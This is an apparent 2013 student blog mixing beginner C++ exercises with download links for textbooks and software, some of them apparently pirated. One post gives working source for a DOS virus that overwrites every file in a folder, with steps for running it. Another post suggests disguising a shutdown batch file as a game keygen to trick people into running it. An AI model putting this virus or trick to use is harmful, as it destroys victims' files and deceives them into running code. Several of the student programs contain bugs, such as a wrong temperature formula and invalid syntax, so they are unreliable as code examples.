Monday, 28 January 2013

final project 1st semester


#include<iostream.h>             // raja muhammad zeeshan ashraf
#include<fstream.h>              // bs(cs) 1st B evening
#include<conio.h>                                        
#include<string>
#include<cstdlib>
using namespace std;
struct shan
{
int MISID;
char name[40];
char father_name[40];
char department[40];
char registration[30];
char title_of_degree[30];
char semester[5];
char shift[10];
char sub1[10];
char sub1_code[10];
int sub1_credit_hours;
int sub1_marks;
int sub1_obt_marks;
char sub2[10];
char sub2_code[10];
int sub2_credit_hours;
int sub2_marks;
int sub2_obt_marks;
char sub3[10];
char sub3_code[10];
int sub3_credit_hours;
int sub3_marks;
int sub3_obt_marks;
char sub4[10];
char sub4_code[10];
int sub4_credit_hours;
int sub4_marks;
int sub4_obt_marks;
char sub5[10];
char sub5_code[10];
int sub5_credit_hours;
int sub5_marks;
int sub5_obt_marks;
char sub6[10];
char sub6_code[10];
int sub6_credit_hours;
int sub6_marks;
int sub6_obt_marks;
};

void create_acc();
void search_acc();
void return_main();

//---------------------------------------main-----------------------------------------------------
main()
{
    int x;
        cout<<"\t\t\t ****************************\n";
        cout<<"\t\t\t    STUDENT ENROLLMENT DATA\t\t\t";
        cout<<"\t\t\t \t       by zeeshan ashraf\t\t\t";
        cout<<"\t\t\t\t ****************************\t\n\n";
        cout<<"------------------------------------------------\n\n";
        cout<<"| 1. ADD RECORD                    \n\n";
        cout<<"| 2. SHOW  RECORD                           \n\n";
        cout<<"| 3. EXIT PROGRAM                                     \n\n";
        cout<<"------------------------------------------------\n\n";
        cout<<"*******************\n\n";
        cout<<"ENTER YOUR CHOISE:\n";
        cin>>x;
        cout<<"\n*******************\n";
        switch(x)
        {
        case 1:
        create_acc();
        case 2:
        search_acc();
        case 3:
        char ext;
        cout<<"are you sre you want to exit Y|N "<<endl;
        cin>>ext;
        if(ext=='y'||ext=='Y')
        {
        cout<<"bye"<<endl;
        getch();
        exit(EXIT_SUCCESS);
        }
        else
        {
        return_main();
        }
        }
}
//------------------------------------------------functin to add record-------------------------------------
 void create_acc()
{
   
      shan st;
      char n;
      ofstream zeeshan;
      zeeshan.open("zeeshan.txt",ios::out | ios::app);                                  
      cout<<"student registration data form."<<endl<<endl;
      zeeshan<<"student registration data form."<<endl<<endl;
for(int i=0;i<=20;i++)
{
    cout<<"*^*^*^*^*^*^*^*^*^*^*^*^*"<<endl;
    zeeshan<<"*^*^*^*^*^*^*^*^*^*^*^*^*"<<endl;
    cout<<"record:"<<endl<<endl;
    zeeshan<<"record:"<<endl<<endl;
    cout<<"student MISID:\t"<<endl;
    cin>>st.MISID;
    zeeshan<<"student MISID:\t"<<st.MISID<<endl;
    cout<<"student name:\t"<<endl;
    cin>>st.name;
    zeeshan<<"student name:\t"<<st.name<<endl;
    cout<<"student father name:\t"<<endl;
    cin>>st.father_name;
    zeeshan<<"student father name:\t"<<st.father_name<<endl;
    cout<<"department:\t"<<endl;
    cin>>st.department;
    zeeshan<<"department:\t"<<st.department<<endl;
    cout<<"registration:\t"<<endl;
    cin>>st.registration;
    zeeshan<<"registration:\t"<<st.registration<<endl;
    cout<<"title of degree:\t"<<endl;
    cin>>st.title_of_degree;
    zeeshan<<"title of degree:\t"<<st.title_of_degree<<endl;
    cout<<"semester:\t"<<endl;
    cin>>st.semester;
    zeeshan<<"semester:\t"<<st.semester<<endl;
    cout<<"shift:\t"<<endl;
    cin>>st.shift;
    zeeshan<<"shift:\t"<<st.shift<<endl<<endl;
    cout<<"subject 1:\t"<<endl;
    cin>>st.sub1;
    zeeshan<<"subject 1:\t"<<st.sub1<<endl;
    cout<<"subject 1 code:\t"<<endl;
    cin>>st.sub1_code;
    zeeshan<<"subject 1 code:\t"<<st.sub1_code<<endl;
    cout<<"subject 1 credit hours:\t"<<endl;
    cin>>st.sub1_credit_hours;
    zeeshan<<"subject 1 credit hours:\t"<<st.sub1_credit_hours<<endl;
    cout<<"subject 1 marks:\t"<<endl;
    cin>>st.sub1_marks;
    zeeshan<<"subject 1 marks:\t"<<st.sub1_marks<<endl<<endl;
    cout<<"subject 2:\t"<<endl;
    cin>>st.sub2;
    zeeshan<<"subject 2:\t"<<st.sub2<<endl;
    cout<<"subject 2 code:\t"<<endl;
    cin>>st.sub2_code;
    zeeshan<<"subject 2 code:\t"<<st.sub2_code<<endl;
    cout<<"subject 2 credit hours:\t"<<endl;
    cin>>st.sub2_credit_hours;
    zeeshan<<"subject 2 credit hours:\t"<<st.sub2_credit_hours<<endl;
    cout<<"subject 2 marks:\t"<<endl;
    cin>>st.sub2_marks;
    zeeshan<<"subject 2 marks:\t"<<st.sub2_marks<<endl<<endl;
    cout<<"subject 3:\t"<<endl;
    cin>>st.sub3;
    zeeshan<<"subject 3:\t"<<st.sub3<<endl;
    cout<<"subject 3 code:\t"<<endl;
    cin>>st.sub3_code;
    zeeshan<<"subject 3 code:\t"<<st.sub3_code<<endl;
    cout<<"subject 3 credit hours:\t"<<endl;
    cin>>st.sub3_credit_hours;
    zeeshan<<"subject 3 credit hours:\t"<<st.sub3_credit_hours<<endl;
    cout<<"subject 3 marks:\t"<<endl;
    cin>>st.sub3_marks;
    zeeshan<<"subject 3 marks:\t"<<st.sub3_marks<<endl<<endl;
    cout<<"subject 4:\t"<<endl;
    cin>>st.sub4;
    zeeshan<<"subject 4:\t"<<st.sub4<<endl;
    cout<<"subject 4 code:\t"<<endl;
    cin>>st.sub4_code;
    zeeshan<<"subject 4 code:\t"<<st.sub4_code<<endl;
    cout<<"subject 4 credit hours:\t"<<endl;
    cin>>st.sub4_credit_hours;
    zeeshan<<"subject 4 credit hours:\t"<<st.sub4_credit_hours<<endl;
    cout<<"subject 4 marks:\t"<<endl;
    cin>>st.sub4_marks;
    zeeshan<<"subject 4 marks:\t"<<st.sub4_marks<<endl<<endl;
    cout<<"subject 5:\t"<<endl;
    cin>>st.sub5;
    zeeshan<<"subject 5:\t"<<st.sub5<<endl;
    cout<<"subject 5 code:\t"<<endl;
    cin>>st.sub3_code;
    zeeshan<<"subject 5 code:\t"<<st.sub5_code<<endl;
    cout<<"subject 5 credit hours:\t"<<endl;
    cin>>st.sub5_credit_hours;
    zeeshan<<"subject 5 credit hours:\t"<<st.sub5_credit_hours<<endl;
    cout<<"subject 5 marks:\t"<<endl;
    cin>>st.sub5_marks;
    zeeshan<<"subject 5 marks:\t"<<st.sub5_marks<<endl<<endl;
    cout<<"subject 6:\t"<<endl;
    cin>>st.sub6;
    zeeshan<<"subject 6:\t"<<st.sub6<<endl;
    cout<<"subject 6 code:\t"<<endl;
    cin>>st.sub6_code;
    zeeshan<<"subject 6 code:\t"<<st.sub6_code<<endl;
    cout<<"subject 6 credit hours:\t"<<endl;
    cin>>st.sub6_credit_hours;
    zeeshan<<"subject 6 credit hours:\t"<<st.sub6_credit_hours<<endl;
    cout<<"subject 6 marks:\t"<<endl;
    cin>>st.sub6_marks;
    zeeshan<<"subject 6 marks:\t"<<st.sub6_marks<<endl<<endl;

    cout<<"if u want to save some more data type n for next."<<endl<<endl;
    cin>>n;
    if(n=='n'||n=='N')
    {
    cout<<"**********"<<endl;
    }
    else
    {
    cout<<"bye..!"<<endl;
    break;
    }}
    return_main();
    }
//--------------------------------------------function to return to main------------------------------
void return_main()
{
     char f[2];
     cout<<"\n\n Press any key to return to main menu ";
     cin>>f;
     system("cls");
     main();
     }
 //--------------------------------------------function to show record----------------------------          
void search_acc()
{
 char f;
 cout<<"\tpress f to read record:\t\n\n";
 cin>>f;
if(f=='f'||f=='F')
 {
  string line;
  ifstream zeeshan;
  zeeshan.open ("zeeshan.txt");
if (zeeshan.is_open())
  {
  while ( zeeshan.good() )
  {
  getline (zeeshan,line);
  cout << line << endl;
  }
  zeeshan.close();
  return_main();
  }
  }            
else
  {
  cout<< "\aUnable to open file";
  }
  return_main();
  }
           
   
   
   
   
   
   
   
   
   

For always show positive number...

#include<iostream>
#include<conio.h>
#include<cmath>
using namespace std;
void main()
{
int p;
cout<<"Enter P number";
cin>>p;
cout<<"The Positive Number is "<<abs(p);
getch();
}



  • abs( ) is a function

Microsoft Office 2007





  • this file is TORRENT DOWNLOAD
  • you must download torrent and then download this file.


click here to download

Sunday, 13 January 2013

turbo c++ software


click here to download

computer fundamentals by p.k sinha

The Sixth Edition Of This Widely Popular Book Is Designed To Introduce Its Readers To Important Concepts In Computer Science. Computer Applications And Information Technology Through A Single Book Complete With Numerous Illustrative Diagrams, Practical Examples, Chapter Summaries, End-of-chapter Questions And Glossary Of Important Terms. Computer Fundamentals Is Designed To Serve As Text Book For Various Introductory Courses In Computer Science, Computer Applications, Information Technology And Other Related Areas. Book Covers Major Topics In The Field, Including * Characteristics, Generations, Classification And Basic Organization Of Computers * Number Systems, Computer Codes, Binary Arithmetic, Boolean Algebra And Logic Circuits * Internal Structure And Functioning Of Cpus, Memory, Secondary Storage Devices And I/o Devices * Commuter Software, Its Various Types With Examples And Commonly Used Tools And Techniques For Planning Development, Implementation And Operation Of Software Systems. * Computer Languages, Computer Networks, Operating Systems And Database Technologies * The Internet, Multimedia Computing Systems And Their Applications And Many More... Reader Will Find This Edition More Useful Than Previous Editions Because :- * New Topics And Classifications Are Added To Various Chapters, Introducing Readers To Newer Frontiers In Computing * The Layout Has Been Improved Considerably To Make The Contents Attractive And Easier To Read * Illustrative Diagrams And Overall Layout Are Improved To Make The Contents Attractive And Lucid To Read * Lecture Notes Cd Contents Is Suitably Updated * Size Of The Book Is Made Handy On Feedback From Readers.

NOTE: This  file is in rar.

click here to download

Fundamental of Electric Circuits



click here to download 

DEITEL-C++ How To Program(8th edition)




For Introduction to Programming (CS1) and other more intermediate courses covering programming in C++. Also appropriate as a supplement for upper-level courses where the instructor uses a book as a reference for the C++ language.

This best-selling comprehensive text is aimed at readers with little or no programming experience. It teaches programming by presenting the concepts in the context of full working programs and takes an early-objects approach. The authors emphasize achieving program clarity through structured and object-oriented programming, software reuse and component-oriented software construction. The Eighth Edition encourages students to connect computers to the community, using the Internet to solve problems and make a difference in our world. All content has been carefully fine-tuned in response to a team of distinguished academic and industry reviewers



click here to download

foxit reader


Foxit Reader is a free PDF document viewer, with incredible small size, breezing-fast launch speed and rich feature set. Its core function is compatible with PDF Standard 1.7.
  • Incredibly small: The download size of Foxit Reader is just a fraction of Acrobat Reader 20 M size.
  • Breezing-fast: When you run Foxit Reader, it launches instantly without any delay. You are not forced to view an annoying splash window displaying company logo, author names, etc.
  • Annotation tool: Have you ever wished to annotate (or comment on) a PDF document when you are reading it? Foxit Reader allows you to draw graphics, highlight text, type text and make notes on a PDF document and then print out or save the annotated document.
  • Text converter: You may convert the whole PDF document into a simple text file.
  • High security and privacy: Foxit Reader highly respects the security and privacy of users and will never connect to the Internet without users' permission. While other PDF readers often silently connect to the Internet in the background. Foxit PDF Reader does not contain any spyware.


click here to download

Saturday, 12 January 2013

calculus thomas





Thomas' Calculus, 11/E
George B. Thomas, Jr., Massachusetts Institute of Technology
Maurice D. Weir, Naval Postgraduate School
Joel R. Hass, University of California, Davis
Frank R. Giordano, Naval Postgraduate School

note: this book is in rar format.you will need winrar to open this book.


download

Notepad++ 6.1.2 released, Free Download


notepad++ is a free (as in “free speech” and also as in “free beer”) source code editor and Notepad replacement that supports several languages. Running in the MS Windows environment, its use is governed by GPL License.
Based on the powerful editing component Scintilla, Notepad++ is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed and smaller program size. By optimizing as many routines as possible without losing user friendliness, Notepad++ is trying to reduce the world carbon dioxide emissions. When using less CPU power, the PC can throttle down and reduce power consumption, resulting in a greener environment.


What is new  in Notepad++ v6.1.2:
  • Fix Notepad++ hanging bug due to the opened file containing a half of UTF-8 double byte sequence at the end of the file.
Included plugins:
  • Spell Checker v1.3.3
  • NppFTP 0.24.1
  • NppExport v0.2.8
  • Plugin Manager 1.0.8
  • Converter 3.0
Download setup: Notepad++ 6.1.2 

How to Create a Computer Virus?




Only For Educational Purpose. Do Not Misuse.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it...!!!

Only For Educational Purpose. Do Not Misuse.

how to make shutdown virus with notepad



This article will show you how to shutdown your computer using a notepad, or we can consider it as a prank virus also so just follow these few simple steps to proceed: 


Open note pad in your computer. you can find it in programs > accessories > notepad. 
Type the following code in the notepad- "shutdown -s -t 45". 


Now save the file in .bat format. 


Run the batch file so formed. you will see a new window which will shutdown the system in 45 seconds. 


You can also rectify the shutdown precess by running "shutdown -a". 


Tips: You can play prank on others by naming this batch file as keygen of a game and ask them to run on their system. 

Warning:  Save the file with .bat extension. Do the coding as it is given above without any changes.

Wednesday, 9 January 2013

program to tell grade to user

//program to tell grade to user..

‎#include<iostream.h>
using namespace std;
void main()
{

int marks=0;
cout<<"plz enter your marks";
cin>>marks;
if(marks>=0&&marks<=100)
{if(marks<=49)
{
cout<<"grade f";
}
if(marks>=50&&marks<=60)
{
cout<<"your grade is C";
}
if(marks>60&&marks<=70)
{
cout<<"grase b";
}
if(marks>70&&marks<80)
{
cout<<"grade B+";
}
if(marks>80&&marks<=90)
{
cout<<"grade A";
}
if(marks>90&&marks<=100)
{
cout<<"grade A+";
}
}
else

{
cout<<"ohhhhhhhhhhhhhhhhhh.....!!!!!! \n you enterd invalid marks" ;
}

system("pause");
}

program to convert temperature

//program to convert temperature..

#include<iostream.h>
using namespace std;
main()
{
system("cls");

int c,f;
cout<<"to find convert celius into fahrenheit"<<endl;
cout<<"enter value of celius"<<endl;
cin>>c;
f=c*9/5+32;
cout<<"fahrenheit="<<f<<endl;
cout<<"to find convert fahrenheit into celius"<<endl;
cout<<"enter value of fahrenheit"<<endl;
cin>>f;
c=f-32*9/5;
cout<<"fahrenheit="<<c<<endl;

system("pause");
}

program to calculate cube

/program to calculate cube...

#include<iostream.h>
using namespace std;
void main( )
{
clrscr( );
int var;
int cube;
cout<<"enter any number for cube calculation";
cin>>var;
cube=var*var*var;
cout<<"answer="<<cube;
system("pause");
}

program to store data of student and asking user giev his roll number to know his result

//program to store data of student and asking user giev his roll number to know his result....

#include<iostream.h>
usnibg namespace std; 
void main( )
{

int ali roll num=12345;
int ahmed roll num=54321;
int shahab roll num=1993;
int shahroze roll num=1994;
int roll num;

cout<<"enter your role number ";
cin>>roll num;

if(roll num==ali roll num)
{
cout<<"name:ali"<<endl;
cout<<"total marks=1111"<<endl;
cout<<"obtained marks=723"<<endl;
cout<<"percentage=66%";
}
if(roll num==ahmed roll num)
{
cout<<"name:ahmed"<<endl;
cout<<"total marks=1111"<<endl;
cout<<"obtained marks=456"<<endl;
cout<<"percentage=45%";
}
if(roll num==shahab roll num)
{
cout<<"name:shahb"<<endl;
cout<<"total marks=1111"<<endl;
cout<<"obtained marks=796<<endl;
cout<<"percentage=73%";
}
if(roll num==shahroze roll num)
{
cout<<"name:shahroze"<<endl;
cout<<"total marks=1111"<<endl;
cout<<"obtained marks=721"<<endl;
cout<<"percentage=66%";
}

else
{
cout<<"your typed wrong roll num";
}
system("pause");
}

program to print numbers separately given from user

//program to print numbers separately given from user. 
e.g 1234
      1,2,3,4 in any order...

‎#include<iostream.h>
#include<conio.h>
void main ()
{ clrscr();
int a,b,c;
cout<<"enter a number";
cin>>a;
b=a%10;
c=a/10;
cout<<"1st="<<b<<endl;
b=c%10;
c=c/10;
cout<<"2nd="<<b<<endl;
b=c%10;
c=c/10;
cout<<"3rd="<<b<<endl;
b=c%10;
c=c/10;
cout<<"4th="<<b<<endl;
b=c%10;
c=c/10;
cout<<"5th="<<b<<endl;
getch();

}

printing * in triangle shape


              *
             * *
            * * *
           * * * *

#include<iostream.h>
using namespace std;
main()
{

int i=0;
for(i=5;i>=1;i=i-1)
{
cout<<" ";
}
cout<<"*\n";
for(i=4;i>=1;i=i-1)
{
cout<<" ";
}
for(i=2;i>=1;i=i-1)
{
cout<<"* ";
}
cout<<"\n";
for(i=2;i>=1;i=i-1)
{
cout<<" ";
}
for(i=4;i>=1;i=i-1)
{
cout<<"* ";
}
cout<<"\n";

for(i=6;i>=1;i=i-1)
{
cout<<"* ";
}
system("pause");
}

Monday, 7 January 2013

winrar420

 
WinRAR provides the full RAR and ZIP file support, can decompress CAB, GZIP, ACE and other archive formats.

click here for download.

dev c++

    
Dev-C++ 5.0 beta 9.2 (4.9.9.2) 
(9.0 MB) with Mingw/GCC 3.4.2
Dev-C++ version 4.9.9.2, includes full Mingw compiler system with GCC 3.4.2 and GDB 5.2.1 See NEWS.txt for changes in this release.

click here for download.



program to print 1235....


// prgram of 1 2 3 5....

#include<iostream.h>
#include<conio.h>
main()
{
int c=0,num;
cout<<"enter ";
cin>>num;
for(int i=1;i<num;i=i+c)
{
c=i-c;
cout<<c<<" ";
}
getch();
}

Project of 1st semester by mazhar

FINAL PROJECT 

// file.1.mzr.cpp : Defines the entry point for the console application.
// Final Project of 1st semester. Student record.

#include "stdafx.h"
#include<iostream>
#include<fstream>
#include<iomanip>
using namespace std;
struct record
{
char name[30];
char f_name[30];
char date_birth[15];
char address[50];
int misid;
char reg[50];
char program[10];
char depart[20];
char semester[10];
char shift[20];
char section;
char sub1[30];
char sub1_code[20];
int sub1_marks;
char sub2[30];
char sub2_code[20];
int sub2_marks;
char sub3[30];
char sub3_code[20];
int sub3_marks;
char sub4[30];
char sub4_code[20];
int sub4_marks;
char sub5[30];
char sub5_code[20];
int sub5_marks;
char sub6[30];
char sub6_code[20];
int sub6_marks;
};

int _tmain(int argc, _TCHAR* argv[])
{
record student;
int total_marks=0;
char op;
do
{
cout<<"Input Record: "<<endl;
cout<<"Enter Student Name?"<<endl;
cin>>student.name;
cout<<"Enter Student`s Father Name?"<<endl;
cin>>student.f_name;
cout<<"Enter Student`s Date of birth?"<<endl;
cin>>student.date_birth;
cout<<"Enter Student`s Address?"<<endl;
cin>>student.address;
cout<<"Enter Student`s MISID?"<<endl;
cin>>student.misid;
cout<<"Enter Student`s Registration No#?"<<endl;
cin>>student.reg;
cout<<"Enter Program?"<<endl;
cin>>student.program;
cout<<"Enter Department?"<<endl;
cin>>student.depart;
cout<<"Enter Semester?"<<endl;
cin>>student.semester;
cout<<"Enter Shift?"<<endl;
cin>>student.shift;
cout<<"Enter Section?"<<endl;
cin>>student.section;
cout<<"Enter 1st Subject?"<<endl;
cin>>student.sub1;
cout<<"Enter 1st Subject Code?"<<endl;
cin>>student.sub1_code;
cout<<"Enter 1st Subject Marks?"<<endl;
cin>>student.sub1_marks;
cout<<"Enter 2nd Subject?"<<endl;
cin>>student.sub2;
cout<<"Enter 2nd Subject Code?"<<endl;
cin>>student.sub2_code;
cout<<"Enter 2nd Subject Marks?"<<endl;
cin>>student.sub2_marks;
cout<<"Enter 3rd Subject?"<<endl;
cin>>student.sub3;
cout<<"Enter 3rd Subject Code?"<<endl;
cin>>student.sub3_code;
cout<<"Enter 3rd Subject Marks?"<<endl;
cin>>student.sub3_marks;
cout<<"Enter 4rth Subject?"<<endl;
cin>>student.sub4;
cout<<"Enter 4rth Subject Code?"<<endl;
cin>>student.sub4_code;
cout<<"Enter 4rth Subject Marks?"<<endl;
cin>>student.sub4_marks;
cout<<"Enter 5th Subject?"<<endl;
cin>>student.sub5;
cout<<"Enter 5th Subject Code?"<<endl;
cin>>student.sub5_code;
cout<<"Enter 5th Subject Marks?"<<endl;
cin>>student.sub5_marks;
cout<<"Enter 6th Subject?"<<endl;
cin>>student.sub6;
cout<<"Enter 6th Subject Code?"<<endl;
cin>>student.sub6_code;
cout<<"Enter 6th Subject Maks?"<<endl;
cin>>student.sub6_marks;
total_marks = student.sub1_marks + student.sub2_marks + student.sub3_marks + student.sub4_marks + student.sub5_marks + student.sub6_marks;
cout<<setw(40);
ofstream file;
file.open("file.txt");
cout<<"Record: "<<endl<<endl;
cout<<"Name :\t"<<student.name<<endl;
cout<<"Father`s Name:\t"<<student.f_name<<endl;
cout<<"Address:\t"<<student.address<<endl;
cout<<"MISID:\t"<<student.misid<<endl;
cout<<"Registration No#:\t"<<student.reg<<endl;
cout<<"Program:\t"<<student.program<<endl;
cout<<"Department:\t"<<student.depart<<endl;
cout<<"Semester:\t"<<student.semester<<"\t";
cout<<"Shift:\t"<<student.shift<<"\t";
cout<<"Section:\t"<<student.section<<endl;
cout<<"1st Subject:\t"<<student.sub1<<"\n1st Subject Code:\t"<<student.sub1_code<<"\n1st Subject Marks:\t"<<student.sub1_marks<<endl;
cout<<"2nd Subject:\t"<<student.sub2<<"\n2nd Subject Code:\t"<<student.sub2_code<<"\n2nd Subject Marks:\t"<<student.sub2_marks<<endl; 
cout<<"3rd Subject:\t"<<student.sub3<<"\3rd Subject Code:\t"<<student.sub3_code<<"\n3rd Subject Marks:\t"<<student.sub3_marks<<endl;
cout<<"4rth Subject:\t"<<student.sub4<<"\n4rth Subject Code:\t"<<student.sub4_code<<"\n4rth Subject Marks:\t"<<student.sub4_marks<<endl;
cout<<"5th Subject:\t"<<student.sub5<<"\n5th Subject Code:\t"<<student.sub5_code<<"\n5th Subject Marks:\t"<<student.sub5_marks<<endl;
cout<<"6th Subject:\t"<<student.sub6<<"\n6th Subject Code:\t"<<student.sub6_code<<"\n6th Subject Marks:\t"<<student.sub6_marks<<endl;
cout<<"TotalMarks:\t"<<total_marks<<endl;
file<<"Record:"<<endl;
file<<"Name :\t"<<student.name<<endl;
file<<"Father`s Name:\t"<<student.f_name<<endl;
file<<"Address:\t"<<student.address<<endl;
file<<"MISID:\t"<<student.misid<<endl;
file<<"Registration No#:\t"<<student.reg<<endl;
file<<"Program:\t"<<student.program<<endl;
file<<"Department:\t"<<student.depart<<endl;
file<<"Semester:\t"<<student.semester<<"\t";
file<<"Shift:\t"<<student.shift<<"\t";
file<<"Section:\t"<<student.section<<endl;
file<<"1st Subject:\t"<<student.sub1<<"\n1st Subject Code:\t"<<student.sub1_code<<"\n1st Subject Marks:\t"<<student.sub1_marks<<endl;
file<<"2nd Subject:\t"<<student.sub2<<"\n2nd Subject Code:\t"<<student.sub2_code<<"\n2nd Subject Marks:\t"<<student.sub2_marks<<endl;
file<<"3rd Subject:\t"<<student.sub3<<"\3rd Subject Code:\t"<<student.sub3_code<<"\n3rd Subject Marks:\t"<<student.sub3_marks<<endl;
file<<"4rth Subject:\t"<<student.sub4<<"\n4rth Subject Code:\t"<<student.sub4_code<<"\n4rth Subject Marks:\t"<<student.sub4_marks<<endl;
file<<"5th Subject:\t"<<student.sub5<<"\n5th Subject Code:\t"<<student.sub5_code<<"\n5th Subject Marks:\t"<<student.sub5_marks<<endl;
file<<"6th Subject:\t"<<student.sub6<<"\n6th Subject Code:\t"<<student.sub6_code<<"\n6th Subject Marks:\t"<<student.sub6_marks<<endl;
file<<"TotalMarks:\t"<<total_marks<<endl;
cout<<"For Entering more Record for students Press y (yes), otherwise Press n (no)?"<<endl;
cin>>op;
}
while (op == 'Y' || op == 'y');
cout<<"Ok!!! GOOD BYE.....!!";
return 0;
}